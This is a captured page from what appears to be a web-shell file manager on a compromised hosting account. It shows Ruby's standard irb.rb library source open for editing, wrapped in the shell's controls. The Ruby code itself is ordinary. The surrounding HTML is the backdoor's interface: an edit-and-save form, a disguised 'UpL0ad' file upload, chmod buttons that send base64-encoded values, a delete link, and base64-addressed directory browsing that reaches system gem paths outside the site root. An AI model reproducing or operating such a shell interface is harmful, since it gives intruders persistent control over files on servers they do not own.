<hr>irb.rb<form method=post action="?d=L29wdC9hbHQvcnVieTI3L3NoYXJlL2dlbXMvZ2Vtcy9pcmItMS4yLjYvbGli&f=aXJiLnJi"><input name="f" value="irb.rb"><textarea name="t"># frozen_string_literal: false
#
#   irb.rb - irb main module
#       $Release Version: 0.9.6 $
#       $Revision$
#       by Keiju ISHITSUKA(keiju@ruby-lang.org)
#
# --
#
#
#
require &quot;ripper&quot;
require &quot;reline&quot;

require_relative &quot;irb/init&quot;
require_relative &quot;irb/context&quot;
require_relative &quot;irb/extend-command&quot;

require_relative &quot;irb/ruby-lex&quot;
require_relative &quot;irb/input-method&quot;
require_relative &quot;irb/locale&quot;
require_relative &quot;irb/color&quot;

require_relative &quot;irb/version&quot;
require_relative &quot;irb/easter-egg&quot;

# IRB stands for &quot;interactive Ruby&quot; and is a tool to interactively execute Ruby
# expressions read from the standard input.
#
# The +irb+ command from your shell will start the interpreter.
#
# == Usage
#
# Use of irb is easy if you know Ruby.
#
# When executing irb, prompts are displayed as follows. Then, enter the Ruby
# expression. An input is executed when it is syntactically complete.
#
#     $ irb
#     irb(main):001:0&gt; 1+2
#     #=&gt; 3
#     irb(main):002:0&gt; class Foo
#     irb(main):003:1&gt;  def foo
#     irb(main):004:2&gt;    print 1
#     irb(main):005:2&gt;  end
#     irb(main):006:1&gt; end
#     #=&gt; nil
#
# The singleline editor module or multiline editor module can be used with irb.
# Use of multiline editor is default if it&#039;s installed.
#
# == Command line options
#
#   Usage:  irb.rb [options] [programfile] [arguments]
#     -f                Suppress read of ~/.irbrc
#     -d                Set $DEBUG to true (same as `ruby -d&#039;)
#     -r load-module    Same as `ruby -r&#039;
#     -I path           Specify $LOAD_PATH directory
#     -U                Same as `ruby -U`
#     -E enc            Same as `ruby -E`
#     -w                Same as `ruby -w`
#     -W[level=2]       Same as `ruby -W`
#     --inspect         Use `inspect&#039; for output (default except for bc mode)
#     --noinspect       Don&#039;t use inspect for output
#     --multiline       Use multiline editor module
#     --nomultiline     Don&#039;t use multiline editor module
#     --singleline      Use singleline editor module
#     --nosingleline    Don&#039;t use singleline editor module
#     --colorize        Use colorization
#     --nocolorize      Don&#039;t use colorization
#     --prompt prompt-mode
#     --prompt-mode prompt-mode
#                       Switch prompt mode. Pre-defined prompt modes are
#                       `default&#039;, `simple&#039;, `xmp&#039; and `inf-ruby&#039;
#     --inf-ruby-mode   Use prompt appropriate for inf-ruby-mode on emacs.
#                       Suppresses --multiline and --singleline.
#     --simple-prompt   Simple prompt mode
#     --noprompt        No prompt mode
#     --tracer          Display trace for each execution of commands.
#     --back-trace-limit n
#                       Display backtrace top n and tail n. The default
#                       value is 16.
#     -v, --version     Print the version of irb
#
# == Configuration
#
# IRB reads from &lt;code&gt;~/.irbrc&lt;/code&gt; when it&#039;s invoked.
#
# If &lt;code&gt;~/.irbrc&lt;/code&gt; doesn&#039;t exist, +irb+ will try to read in the following order:
#
# * +.irbrc+
# * +irb.rc+
# * +_irbrc+
# * &lt;code&gt;$irbrc&lt;/code&gt;
#
# The following are alternatives to the command line options. To use them type
# as follows in an +irb+ session:
#
#     IRB.conf[:IRB_NAME]=&quot;irb&quot;
#     IRB.conf[:INSPECT_MODE]=nil
#     IRB.conf[:IRB_RC] = nil
#     IRB.conf[:BACK_TRACE_LIMIT]=16
#     IRB.conf[:USE_LOADER] = false
#     IRB.conf[:USE_MULTILINE] = nil
#     IRB.conf[:USE_SINGLELINE] = nil
#     IRB.conf[:USE_COLORIZE] = true
#     IRB.conf[:USE_TRACER] = false
#     IRB.conf[:IGNORE_SIGINT] = true
#     IRB.conf[:IGNORE_EOF] = false
#     IRB.conf[:PROMPT_MODE] = :DEFAULT
#     IRB.conf[:PROMPT] = {...}
#
# === Auto indentation
#
# To disable auto-indent mode in irb, add the following to your +.irbrc+:
#
#     IRB.conf[:AUTO_INDENT] = false
#
# === Autocompletion
#
# To enable autocompletion for irb, add the following to your +.irbrc+:
#
#     require &#039;irb/completion&#039;
#
# === History
#
# By default, irb will store the last 1000 commands you used in
# &lt;code&gt;IRB.conf[:HISTORY_FILE]&lt;/code&gt; (&lt;code&gt;~/.irb_history&lt;/code&gt; by default).
#
# If you want to disable history, add the following to your +.irbrc+:
#
#     IRB.conf[:SAVE_HISTORY] = nil
#
# See IRB::Context#save_history= for more information.
#
# The history of _results_ of commands evaluated is not stored by default,
# but can be turned on to be stored with this +.irbrc+ setting:
#
#     IRB.conf[:EVAL_HISTORY] = &lt;number&gt;
#
# See IRB::Context#eval_history= and History class. The history of command
# results is not permanently saved in any file.
#
# == Customizing the IRB Prompt
#
# In order to customize the prompt, you can change the following Hash:
#
#     IRB.conf[:PROMPT]
#
# This example can be used in your +.irbrc+
#
#     IRB.conf[:PROMPT][:MY_PROMPT] = { # name of prompt mode
#       :AUTO_INDENT =&gt; false,          # disables auto-indent mode
#       :PROMPT_I =&gt;  &quot;&gt;&gt; &quot;,		# simple prompt
#       :PROMPT_S =&gt; nil,		# prompt for continuated strings
#       :PROMPT_C =&gt; nil,		# prompt for continuated statement
#       :RETURN =&gt; &quot;    ==&gt;%s\n&quot;	# format to return value
#     }
#
#     IRB.conf[:PROMPT_MODE] = :MY_PROMPT
#
# Or, invoke irb with the above prompt mode by:
#
#     irb --prompt my-prompt
#
# Constants +PROMPT_I+, +PROMPT_S+ and +PROMPT_C+ specify the format. In the
# prompt specification, some special strings are available:
#
#     %N    # command name which is running
#     %m    # to_s of main object (self)
#     %M    # inspect of main object (self)
#     %l    # type of string(&quot;, &#039;, /, ]), `]&#039; is inner %w[...]
#     %NNi  # indent level. NN is digits and means as same as printf(&quot;%NNd&quot;).
#           # It can be omitted
#     %NNn  # line number.
#     %%    # %
#
# For instance, the default prompt mode is defined as follows:
#
#     IRB.conf[:PROMPT_MODE][:DEFAULT] = {
#       :PROMPT_I =&gt; &quot;%N(%m):%03n:%i&gt; &quot;,
#       :PROMPT_N =&gt; &quot;%N(%m):%03n:%i&gt; &quot;,
#       :PROMPT_S =&gt; &quot;%N(%m):%03n:%i%l &quot;,
#       :PROMPT_C =&gt; &quot;%N(%m):%03n:%i* &quot;,
#       :RETURN =&gt; &quot;%s\n&quot; # used to printf
#     }
#
# irb comes with a number of available modes:
#
#   # :NULL:
#   #   :PROMPT_I:
#   #   :PROMPT_N:
#   #   :PROMPT_S:
#   #   :PROMPT_C:
#   #   :RETURN: |
#   #     %s
#   # :DEFAULT:
#   #   :PROMPT_I: ! &#039;%N(%m):%03n:%i&gt; &#039;
#   #   :PROMPT_N: ! &#039;%N(%m):%03n:%i&gt; &#039;
#   #   :PROMPT_S: ! &#039;%N(%m):%03n:%i%l &#039;
#   #   :PROMPT_C: ! &#039;%N(%m):%03n:%i* &#039;
#   #   :RETURN: |
#   #     =&gt; %s
#   # :CLASSIC:
#   #   :PROMPT_I: ! &#039;%N(%m):%03n:%i&gt; &#039;
#   #   :PROMPT_N: ! &#039;%N(%m):%03n:%i&gt; &#039;
#   #   :PROMPT_S: ! &#039;%N(%m):%03n:%i%l &#039;
#   #   :PROMPT_C: ! &#039;%N(%m):%03n:%i* &#039;
#   #   :RETURN: |
#   #     %s
#   # :SIMPLE:
#   #   :PROMPT_I: ! &#039;&gt;&gt; &#039;
#   #   :PROMPT_N: ! &#039;&gt;&gt; &#039;
#   #   :PROMPT_S:
#   #   :PROMPT_C: ! &#039;?&gt; &#039;
#   #   :RETURN: |
#   #     =&gt; %s
#   # :INF_RUBY:
#   #   :PROMPT_I: ! &#039;%N(%m):%03n:%i&gt; &#039;
#   #   :PROMPT_N:
#   #   :PROMPT_S:
#   #   :PROMPT_C:
#   #   :RETURN: |
#   #     %s
#   #   :AUTO_INDENT: true
#   # :XMP:
#   #   :PROMPT_I:
#   #   :PROMPT_N:
#   #   :PROMPT_S:
#   #   :PROMPT_C:
#   #   :RETURN: |2
#   #         ==&gt;%s
#
# == Restrictions
#
# Because irb evaluates input immediately after it is syntactically complete,
# the results may be slightly different than directly using Ruby.
#
# == IRB Sessions
#
# IRB has a special feature, that allows you to manage many sessions at once.
#
# You can create new sessions with Irb.irb, and get a list of current sessions
# with the +jobs+ command in the prompt.
#
# === Commands
#
# JobManager provides commands to handle the current sessions:
#
#   jobs    # List of current sessions
#   fg      # Switches to the session of the given number
#   kill    # Kills the session with the given number
#
# The +exit+ command, or ::irb_exit, will quit the current session and call any
# exit hooks with IRB.irb_at_exit.
#
# A few commands for loading files within the session are also available:
#
# +source+::
#   Loads a given file in the current session and displays the source lines,
#   see IrbLoader#source_file
# +irb_load+::
#   Loads the given file similarly to Kernel#load, see IrbLoader#irb_load
# +irb_require+::
#   Loads the given file similarly to Kernel#require
#
# === Configuration
#
# The command line options, or IRB.conf, specify the default behavior of
# Irb.irb.
#
# On the other hand, each conf in IRB@Command+line+options is used to
# individually configure IRB.irb.
#
# If a proc is set for &lt;code&gt;IRB.conf[:IRB_RC]&lt;/code&gt;, its will be invoked after execution
# of that proc with the context of the current session as its argument. Each
# session can be configured using this mechanism.
#
# === Session variables
#
# There are a few variables in every Irb session that can come in handy:
#
# &lt;code&gt;_&lt;/code&gt;::
#   The value command executed, as a local variable
# &lt;code&gt;__&lt;/code&gt;::
#   The history of evaluated commands. Available only if
#   &lt;code&gt;IRB.conf[:EVAL_HISTORY]&lt;/code&gt; is not +nil+ (which is the default).
#   See also IRB::Context#eval_history= and IRB::History.
# &lt;code&gt;__[line_no]&lt;/code&gt;::
#   Returns the evaluation value at the given line number, +line_no+.
#   If +line_no+ is a negative, the return value +line_no+ many lines before
#   the most recent return value.
#
# === Example using IRB Sessions
#
#   # invoke a new session
#   irb(main):001:0&gt; irb
#   # list open sessions
#   irb.1(main):001:0&gt; jobs
#     #0-&gt;irb on main (#&lt;Thread:0x400fb7e4&gt; : stop)
#     #1-&gt;irb#1 on main (#&lt;Thread:0x40125d64&gt; : running)
#
#   # change the active session
#   irb.1(main):002:0&gt; fg 0
#   # define class Foo in top-level session
#   irb(main):002:0&gt; class Foo;end
#   # invoke a new session with the context of Foo
#   irb(main):003:0&gt; irb Foo
#   # define Foo#foo
#   irb.2(Foo):001:0&gt; def foo
#   irb.2(Foo):002:1&gt;   print 1
#   irb.2(Foo):003:1&gt; end
#
#   # change the active session
#   irb.2(Foo):004:0&gt; fg 0
#   # list open sessions
#   irb(main):004:0&gt; jobs
#     #0-&gt;irb on main (#&lt;Thread:0x400fb7e4&gt; : running)
#     #1-&gt;irb#1 on main (#&lt;Thread:0x40125d64&gt; : stop)
#     #2-&gt;irb#2 on Foo (#&lt;Thread:0x4011d54c&gt; : stop)
#   # check if Foo#foo is available
#   irb(main):005:0&gt; Foo.instance_methods #=&gt; [:foo, ...]
#
#   # change the active session
#   irb(main):006:0&gt; fg 2
#   # define Foo#bar in the context of Foo
#   irb.2(Foo):005:0&gt; def bar
#   irb.2(Foo):006:1&gt;  print &quot;bar&quot;
#   irb.2(Foo):007:1&gt; end
#   irb.2(Foo):010:0&gt;  Foo.instance_methods #=&gt; [:bar, :foo, ...]
#
#   # change the active session
#   irb.2(Foo):011:0&gt; fg 0
#   irb(main):007:0&gt; f = Foo.new  #=&gt; #&lt;Foo:0x4010af3c&gt;
#   # invoke a new session with the context of f (instance of Foo)
#   irb(main):008:0&gt; irb f
#   # list open sessions
#   irb.3(&lt;Foo:0x4010af3c&gt;):001:0&gt; jobs
#     #0-&gt;irb on main (#&lt;Thread:0x400fb7e4&gt; : stop)
#     #1-&gt;irb#1 on main (#&lt;Thread:0x40125d64&gt; : stop)
#     #2-&gt;irb#2 on Foo (#&lt;Thread:0x4011d54c&gt; : stop)
#     #3-&gt;irb#3 on #&lt;Foo:0x4010af3c&gt; (#&lt;Thread:0x4010a1e0&gt; : running)
#   # evaluate f.foo
#   irb.3(&lt;Foo:0x4010af3c&gt;):002:0&gt; foo #=&gt; 1 =&gt; nil
#   # evaluate f.bar
#   irb.3(&lt;Foo:0x4010af3c&gt;):003:0&gt; bar #=&gt; bar =&gt; nil
#   # kill jobs 1, 2, and 3
#   irb.3(&lt;Foo:0x4010af3c&gt;):004:0&gt; kill 1, 2, 3
#   # list open sessions, should only include main session
#   irb(main):009:0&gt; jobs
#     #0-&gt;irb on main (#&lt;Thread:0x400fb7e4&gt; : running)
#   # quit irb
#   irb(main):010:0&gt; exit
module IRB

  # An exception raised by IRB.irb_abort
  class Abort &lt; Exception;end

  @CONF = {}


  # Displays current configuration.
  #
  # Modifying the configuration is achieved by sending a message to IRB.conf.
  #
  # See IRB@Configuration for more information.
  def IRB.conf
    @CONF
  end

  # Returns the current version of IRB, including release version and last
  # updated date.
  def IRB.version
    if v = @CONF[:VERSION] then return v end

    @CONF[:VERSION] = format(&quot;irb %s (%s)&quot;, @RELEASE_VERSION, @LAST_UPDATE_DATE)
  end

  # The current IRB::Context of the session, see IRB.conf
  #
  #   irb
  #   irb(main):001:0&gt; IRB.CurrentContext.irb_name = &quot;foo&quot;
  #   foo(main):002:0&gt; IRB.conf[:MAIN_CONTEXT].irb_name #=&gt; &quot;foo&quot;
  def IRB.CurrentContext
    IRB.conf[:MAIN_CONTEXT]
  end

  # Initializes IRB and creates a new Irb.irb object at the +TOPLEVEL_BINDING+
  def IRB.start(ap_path = nil)
    STDOUT.sync = true
    $0 = File::basename(ap_path, &quot;.rb&quot;) if ap_path

    IRB.setup(ap_path)

    if @CONF[:SCRIPT]
      irb = Irb.new(nil, @CONF[:SCRIPT])
    else
      irb = Irb.new
    end
    irb.run(@CONF)
  end

  # Calls each event hook of &lt;code&gt;IRB.conf[:TA_EXIT]&lt;/code&gt; when the current session quits.
  def IRB.irb_at_exit
    @CONF[:AT_EXIT].each{|hook| hook.call}
  end

  # Quits irb
  def IRB.irb_exit(irb, ret)
    throw :IRB_EXIT, ret
  end

  # Aborts then interrupts irb.
  #
  # Will raise an Abort exception, or the given +exception+.
  def IRB.irb_abort(irb, exception = Abort)
    if defined? Thread
      irb.context.thread.raise exception, &quot;abort then interrupt!&quot;
    else
      raise exception, &quot;abort then interrupt!&quot;
    end
  end

  class Irb
    ASSIGNMENT_NODE_TYPES = [
      # Local, instance, global, class, constant, instance, and index assignment:
      #   &quot;foo = bar&quot;,
      #   &quot;@foo = bar&quot;,
      #   &quot;$foo = bar&quot;,
      #   &quot;@@foo = bar&quot;,
      #   &quot;::Foo = bar&quot;,
      #   &quot;a::Foo = bar&quot;,
      #   &quot;Foo = bar&quot;
      #   &quot;foo.bar = 1&quot;
      #   &quot;foo[1] = bar&quot;
      :assign,

      # Operation assignment:
      #   &quot;foo += bar&quot;
      #   &quot;foo -= bar&quot;
      #   &quot;foo ||= bar&quot;
      #   &quot;foo &amp;&amp;= bar&quot;
      :opassign,

      # Multiple assignment:
      #   &quot;foo, bar = 1, 2
      :massign,
    ]
    # Note: instance and index assignment expressions could also be written like:
    # &quot;foo.bar=(1)&quot; and &quot;foo.[]=(1, bar)&quot;, when expressed that way, the former
    # be parsed as :assign and echo will be suppressed, but the latter is
    # parsed as a :method_add_arg and the output won&#039;t be suppressed

    # Creates a new irb session
    def initialize(workspace = nil, input_method = nil)
      @context = Context.new(self, workspace, input_method)
      @context.main.extend ExtendCommandBundle
      @signal_status = :IN_IRB
      @scanner = RubyLex.new
    end

    def run(conf = IRB.conf)
      conf[:IRB_RC].call(context) if conf[:IRB_RC]
      conf[:MAIN_CONTEXT] = context

      trap(&quot;SIGINT&quot;) do
        signal_handle
      end

      begin
        catch(:IRB_EXIT) do
          eval_input
        end
      ensure
        conf[:AT_EXIT].each{|hook| hook.call}
      end
    end

    # Returns the current context of this irb session
    attr_reader :context
    # The lexer used by this irb session
    attr_accessor :scanner

    # Evaluates input for this session.
    def eval_input
      exc = nil

      @scanner.set_prompt do
        |ltype, indent, continue, line_no|
        if ltype
          f = @context.prompt_s
        elsif continue
          f = @context.prompt_c
        elsif indent &gt; 0
          f = @context.prompt_n
        else
          f = @context.prompt_i
        end
        f = &quot;&quot; unless f
        if @context.prompting?
          @context.io.prompt = p = prompt(f, ltype, indent, line_no)
        else
          @context.io.prompt = p = &quot;&quot;
        end
        if @context.auto_indent_mode and !@context.io.respond_to?(:auto_indent)
          unless ltype
            prompt_i = @context.prompt_i.nil? ? &quot;&quot; : @context.prompt_i
            ind = prompt(prompt_i, ltype, indent, line_no)[/.*\z/].size +
              indent * 2 - p.size
            ind += 2 if continue
            @context.io.prompt = p + &quot; &quot; * ind if ind &gt; 0
          end
        end
        @context.io.prompt
      end

      @scanner.set_input(@context.io) do
        signal_status(:IN_INPUT) do
          if l = @context.io.gets
            print l if @context.verbose?
          else
            if @context.ignore_eof? and @context.io.readable_after_eof?
              l = &quot;\n&quot;
              if @context.verbose?
                printf &quot;Use \&quot;exit\&quot; to leave %s\n&quot;, @context.ap_name
              end
            else
              print &quot;\n&quot;
            end
          end
          l
        end
      end

      @scanner.set_auto_indent(@context) if @context.auto_indent_mode

      @scanner.each_top_level_statement do |line, line_no|
        signal_status(:IN_EVAL) do
          begin
            line.untaint if RUBY_VERSION &lt; &#039;2.7&#039;
            @context.evaluate(line, line_no, exception: exc)
            if @context.echo?
              if assignment_expression?(line)
                if @context.echo_on_assignment?
                  output_value(@context.omit_on_assignment?)
                end
              else
                output_value
              end
            end
          rescue Interrupt =&gt; exc
          rescue SystemExit, SignalException
            raise
          rescue Exception =&gt; exc
          else
            exc = nil
            next
          end
          handle_exception(exc)
        end
      end
    end

    def handle_exception(exc)
      if exc.backtrace &amp;&amp; exc.backtrace[0] =~ /\/irb(2)?(\/.*|-.*|\.rb)?:/ &amp;&amp; exc.class.to_s !~ /^IRB/ &amp;&amp;
         !(SyntaxError === exc) &amp;&amp; !(EncodingError === exc)
        # The backtrace of invalid encoding hash (ex. {&quot;\xAE&quot;: 1}) raises EncodingError without lineno.
        irb_bug = true
      else
        irb_bug = false
      end

      if STDOUT.tty?
        attr = ATTR_TTY
        print &quot;#{attr[1]}Traceback#{attr[]} (most recent call last):\n&quot;
      else
        attr = ATTR_PLAIN
      end
      messages = []
      lasts = []
      levels = 0
      if exc.backtrace
        count = 0
        exc.backtrace.each do |m|
          m = @context.workspace.filter_backtrace(m) or next unless irb_bug
          count += 1
          if attr == ATTR_TTY
            m = sprintf(&quot;%9d: from %s&quot;, count, m)
          else
            m = &quot;\tfrom #{m}&quot;
          end
          if messages.size &lt; @context.back_trace_limit
            messages.push(m)
          elsif lasts.size &lt; @context.back_trace_limit
            lasts.push(m).shift
            levels += 1
          end
        end
      end
      if attr == ATTR_TTY
        unless lasts.empty?
          puts lasts.reverse
          printf &quot;... %d levels...\n&quot;, levels if levels &gt; 0
        end
        puts messages.reverse
      end
      m = exc.to_s.split(/\n/)
      print &quot;#{attr[1]}#{exc.class} (#{attr[4]}#{m.shift}#{attr[0, 1]})#{attr[]}\n&quot;
      puts m.map {|s| &quot;#{attr[1]}#{s}#{attr[]}\n&quot;}
      if attr == ATTR_PLAIN
        puts messages
        unless lasts.empty?
          puts lasts
          printf &quot;... %d levels...\n&quot;, levels if levels &gt; 0
        end
      end
      print &quot;Maybe IRB bug!\n&quot; if irb_bug
    end

    # Evaluates the given block using the given +path+ as the Context#irb_path
    # and +name+ as the Context#irb_name.
    #
    # Used by the irb command +source+, see IRB@IRB+Sessions for more
    # information.
    def suspend_name(path = nil, name = nil)
      @context.irb_path, back_path = path, @context.irb_path if path
      @context.irb_name, back_name = name, @context.irb_name if name
      begin
        yield back_path, back_name
      ensure
        @context.irb_path = back_path if path
        @context.irb_name = back_name if name
      end
    end

    # Evaluates the given block using the given +workspace+ as the
    # Context#workspace.
    #
    # Used by the irb command +irb_load+, see IRB@IRB+Sessions for more
    # information.
    def suspend_workspace(workspace)
      @context.workspace, back_workspace = workspace, @context.workspace
      begin
        yield back_workspace
      ensure
        @context.workspace = back_workspace
      end
    end

    # Evaluates the given block using the given +input_method+ as the
    # Context#io.
    #
    # Used by the irb commands +source+ and +irb_load+, see IRB@IRB+Sessions
    # for more information.
    def suspend_input_method(input_method)
      back_io = @context.io
      @context.instance_eval{@io = input_method}
      begin
        yield back_io
      ensure
        @context.instance_eval{@io = back_io}
      end
    end

    # Evaluates the given block using the given +context+ as the Context.
    def suspend_context(context)
      @context, back_context = context, @context
      begin
        yield back_context
      ensure
        @context = back_context
      end
    end

    # Handler for the signal SIGINT, see Kernel#trap for more information.
    def signal_handle
      unless @context.ignore_sigint?
        print &quot;\nabort!\n&quot; if @context.verbose?
        exit
      end

      case @signal_status
      when :IN_INPUT
        print &quot;^C\n&quot;
        raise RubyLex::TerminateLineInput
      when :IN_EVAL
        IRB.irb_abort(self)
      when :IN_LOAD
        IRB.irb_abort(self, LoadAbort)
      when :IN_IRB
        # ignore
      else
        # ignore other cases as well
      end
    end

    # Evaluates the given block using the given +status+.
    def signal_status(status)
      return yield if @signal_status == :IN_LOAD

      signal_status_back = @signal_status
      @signal_status = status
      begin
        yield
      ensure
        @signal_status = signal_status_back
      end
    end

    def prompt(prompt, ltype, indent, line_no) # :nodoc:
      p = prompt.dup
      p.gsub!(/%([0-9]+)?([a-zA-Z])/) do
        case $2
        when &quot;N&quot;
          @context.irb_name
        when &quot;m&quot;
          @context.main.to_s
        when &quot;M&quot;
          @context.main.inspect
        when &quot;l&quot;
          ltype
        when &quot;i&quot;
          if indent &lt; 0
            if $1
              &quot;-&quot;.rjust($1.to_i)
            else
              &quot;-&quot;
            end
          else
            if $1
              format(&quot;%&quot; + $1 + &quot;d&quot;, indent)
            else
              indent.to_s
            end
          end
        when &quot;n&quot;
          if $1
            format(&quot;%&quot; + $1 + &quot;d&quot;, line_no)
          else
            line_no.to_s
          end
        when &quot;%&quot;
          &quot;%&quot;
        end
      end
      p
    end

    def output_value(omit = false) # :nodoc:
      str = @context.inspect_last_value
      multiline_p = str.include?(&quot;\n&quot;)
      if omit
        winwidth = @context.io.winsize.last
        if multiline_p
          first_line = str.split(&quot;\n&quot;).first
          result = @context.newline_before_multiline_output? ? (@context.return_format % first_line) : first_line
          output_width = Reline::Unicode.calculate_width(result, true)
          diff_size = output_width - Reline::Unicode.calculate_width(first_line, true)
          if diff_size.positive? and output_width &gt; winwidth
            lines, _ = Reline::Unicode.split_by_width(first_line, winwidth - diff_size - 3)
            str = &quot;%s...\e[0m&quot; % lines.first
            multiline_p = false
          else
            str.gsub!(/(\A.*?\n).*/m, &quot;\\1...&quot;)
          end
        else
          output_width = Reline::Unicode.calculate_width(@context.return_format % str, true)
          diff_size = output_width - Reline::Unicode.calculate_width(str, true)
          if diff_size.positive? and output_width &gt; winwidth
            lines, _ = Reline::Unicode.split_by_width(str, winwidth - diff_size - 3)
            str = &quot;%s...\e[0m&quot; % lines.first
          end
        end
      end
      if multiline_p &amp;&amp; @context.newline_before_multiline_output?
        printf @context.return_format, &quot;\n#{str}&quot;
      else
        printf @context.return_format, str
      end
    end

    # Outputs the local variables to this current session, including
    # #signal_status and #context, using IRB::Locale.
    def inspect
      ary = []
      for iv in instance_variables
        case (iv = iv.to_s)
        when &quot;@signal_status&quot;
          ary.push format(&quot;%s=:%s&quot;, iv, @signal_status.id2name)
        when &quot;@context&quot;
          ary.push format(&quot;%s=%s&quot;, iv, eval(iv).__to_s__)
        else
          ary.push format(&quot;%s=%s&quot;, iv, eval(iv))
        end
      end
      format(&quot;#&lt;%s: %s&gt;&quot;, self.class, ary.join(&quot;, &quot;))
    end

    def assignment_expression?(line)
      # Try to parse the line and check if the last of possibly multiple
      # expressions is an assignment type.

      # If the expression is invalid, Ripper.sexp should return nil which will
      # result in false being returned. Any valid expression should return an
      # s-expression where the second selement of the top level array is an
      # array of parsed expressions. The first element of each expression is the
      # expression&#039;s type.
      verbose, $VERBOSE = $VERBOSE, nil
      result = ASSIGNMENT_NODE_TYPES.include?(Ripper.sexp(line)&amp;.dig(1,-1,0))
      $VERBOSE = verbose
      result
    end

    ATTR_TTY = &quot;\e[%sm&quot;
    def ATTR_TTY.[](*a) self % a.join(&quot;;&quot;); end
    ATTR_PLAIN = &quot;&quot;
    def ATTR_PLAIN.[](*) self; end
  end

  def @CONF.inspect
    IRB.version unless self[:VERSION]

    array = []
    for k, v in sort{|a1, a2| a1[0].id2name &lt;=&gt; a2[0].id2name}
      case k
      when :MAIN_CONTEXT, :__TMP__EHV__
        array.push format(&quot;CONF[:%s]=...myself...&quot;, k.id2name)
      when :PROMPT
        s = v.collect{
          |kk, vv|
          ss = vv.collect{|kkk, vvv| &quot;:#{kkk.id2name}=&gt;#{vvv.inspect}&quot;}
          format(&quot;:%s=&gt;{%s}&quot;, kk.id2name, ss.join(&quot;, &quot;))
        }
        array.push format(&quot;CONF[:%s]={%s}&quot;, k.id2name, s.join(&quot;, &quot;))
      else
        array.push format(&quot;CONF[:%s]=%s&quot;, k.id2name, v.inspect)
      end
    end
    array.join(&quot;\n&quot;)
  end
end

class Binding
  # Opens an IRB session where +binding.irb+ is called which allows for
  # interactive debugging. You can call any methods or variables available in
  # the current scope, and mutate state if you need to.
  #
  #
  # Given a Ruby file called +potato.rb+ containing the following code:
  #
  #     class Potato
  #       def initialize
  #         @cooked = false
  #         binding.irb
  #         puts &quot;Cooked potato: #{@cooked}&quot;
  #       end
  #     end
  #
  #     Potato.new
  #
  # Running &lt;code&gt;ruby potato.rb&lt;/code&gt; will open an IRB session where
  # +binding.irb+ is called, and you will see the following:
  #
  #     $ ruby potato.rb
  #
  #     From: potato.rb @ line 4 :
  #
  #         1: class Potato
  #         2:   def initialize
  #         3:     @cooked = false
  #      =&gt; 4:     binding.irb
  #         5:     puts &quot;Cooked potato: #{@cooked}&quot;
  #         6:   end
  #         7: end
  #         8:
  #         9: Potato.new
  #
  #     irb(#&lt;Potato:0x00007feea1916670&gt;):001:0&gt;
  #
  # You can type any valid Ruby code and it will be evaluated in the current
  # context. This allows you to debug without having to run your code repeatedly:
  #
  #     irb(#&lt;Potato:0x00007feea1916670&gt;):001:0&gt; @cooked
  #     =&gt; false
  #     irb(#&lt;Potato:0x00007feea1916670&gt;):002:0&gt; self.class
  #     =&gt; Potato
  #     irb(#&lt;Potato:0x00007feea1916670&gt;):003:0&gt; caller.first
  #     =&gt; &quot;.../2.5.1/lib/ruby/2.5.0/irb/workspace.rb:85:in `eval&#039;&quot;
  #     irb(#&lt;Potato:0x00007feea1916670&gt;):004:0&gt; @cooked = true
  #     =&gt; true
  #
  # You can exit the IRB session with the +exit+ command. Note that exiting will
  # resume execution where +binding.irb+ had paused it, as you can see from the
  # output printed to standard output in this example:
  #
  #     irb(#&lt;Potato:0x00007feea1916670&gt;):005:0&gt; exit
  #     Cooked potato: true
  #
  #
  # See IRB@IRB+Usage for more information.
  def irb
    IRB.setup(source_location[0], argv: [])
    workspace = IRB::WorkSpace.new(self)
    STDOUT.print(workspace.code_around_binding)
    binding_irb = IRB::Irb.new(workspace)
    binding_irb.context.irb_path = File.expand_path(source_location[0])
    binding_irb.run(IRB.conf)
  end
end
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L2hvbWUvaW5kdXZlZGFtL3B1YmxpY19odG1s">/home/induvedam/public_html</a><hr>curdir: /opt/alt/ruby27/share/gems/gems/irb-1.2.6/lib<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L29wdC9hbHQvcnVieTI3L3NoYXJlL2dlbXMvZ2Vtcy9pcmItMS4yLjYvbGli"/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9hbHQvcnVieTI3L3NoYXJlL2dlbXMvZ2Vtcy9pcmItMS4yLjYvbGli&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>31</td></tr><tr><td></td><td><a href="?d=L29wdC9hbHQvcnVieTI3L3NoYXJlL2dlbXMvZ2Vtcy9pcmItMS4yLjY="/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9hbHQvcnVieTI3L3NoYXJlL2dlbXMvZ2Vtcy9pcmItMS4yLjYvbGli&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>28</td></tr><tr><td></td><td><a href="?d=L29wdC9hbHQvcnVieTI3L3NoYXJlL2dlbXMvZ2Vtcy9pcmItMS4yLjYvbGliL2lyYg=="/>irb</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9hbHQvcnVieTI3L3NoYXJlL2dlbXMvZ2Vtcy9pcmItMS4yLjYvbGli&f=aXJi&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L29wdC9hbHQvcnVieTI3L3NoYXJlL2dlbXMvZ2Vtcy9pcmItMS4yLjYvbGli&x=aXJiLnJi">X</a></td><td><a href="?d=L29wdC9hbHQvcnVieTI3L3NoYXJlL2dlbXMvZ2Vtcy9pcmItMS4yLjYvbGli&f=aXJiLnJi"/>irb.rb</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9hbHQvcnVieTI3L3NoYXJlL2dlbXMvZ2Vtcy9pcmItMS4yLjYvbGli&f=aXJiLnJi&c=`+btoa(c):0" value="0644"></td><td>27603</td></tr></table>